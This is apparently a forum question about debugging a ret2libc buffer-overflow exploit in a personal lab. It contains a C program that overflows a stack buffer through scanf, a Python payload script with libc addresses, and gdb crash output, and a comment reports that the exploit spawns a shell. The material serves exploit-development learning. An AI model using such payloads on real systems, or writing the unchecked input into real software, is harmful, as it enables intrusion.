0

i have some code in c i am working to write exploit for it:

#include <stdio.h>    
void secretFunction()
{
            printf("Congratulations!\n");
            printf("You have entered in the secret function!\n");
}

void echo()
{
            char buffer[20];
            printf("Enter some text:\n");
            scanf("%s", buffer);
            printf("You entered: %s\n", buffer);
}

int main()
{
            echo();
            return 0;
}

and i wrote the exploit script in python:

#!/bin/env python
import struct
system_addr = struct.pack("<I", 0xb7e1d200)
shell_addr = struct.pack("<I", 0xb7f5e0cf)
exit_addr = struct.pack("<I", 0xb7deeaac)
buf = "A" * 32
buf += system_addr
buf += exit_addr
buf += shell_addr
print buf

in gdb: gdb-peda$ r <<< $(python exploit_scanf.py)

it gave me:

[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0x42424242 ('BBBB')
ECX: 0x0
EDX: 0xb7fb9890 --> 0x0
ESI: 0xb7fb8000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xd2424242
ESP: 0xbffff470 --> 0xe0cfb7de
EIP: 0xeaacb7e1
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xeaacb7e1
[------------------------------------stack-------------------------------------]
0000| 0xbffff470 --> 0xe0cfb7de
0004| 0xbffff474 --> 0xbf00b7f5
0008| 0xbffff478 --> 0x0
0012| 0xbffff47c --> 0xb7df8e81 (<__libc_start_main+241>:       add    esp,0x10)
0016| 0xbffff480 --> 0xb7fb8000 --> 0x1d7d6c
0020| 0xbffff484 --> 0xb7fb8000 --> 0x1d7d6c
0024| 0xbffff488 --> 0x0
0028| 0xbffff48c --> 0xb7df8e81 (<__libc_start_main+241>:       add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xeaacb7e1 in ?? ()

and sometimes it gave me:

/bin/bash: warning: command substitution: ignored null byte in input

and no redirect to shell , what is the issue with ret2libc exploit?

2
  • 1
    try saving the output from the script into a file an then redirect it via r < input in gdb. Will it give the same bash errors? – Paweł Łukasik Sep 14 '20 at 18:09
  • gdb-peda$ r < exp.md Starting program: /home/mal/buffer_overflow_lab/01_stack_overflow_scanf_example < exp.md Enter some text: You entered: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB [New process 26043] process 26043 is executing new program: /bin/dash [New process 26285] process 26285 is executing new program: /bin/dash [Inferior 3 (process 26285) exited normally] Warning: not running or target is remote – malek alfutaisy Sep 14 '20 at 20:08

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.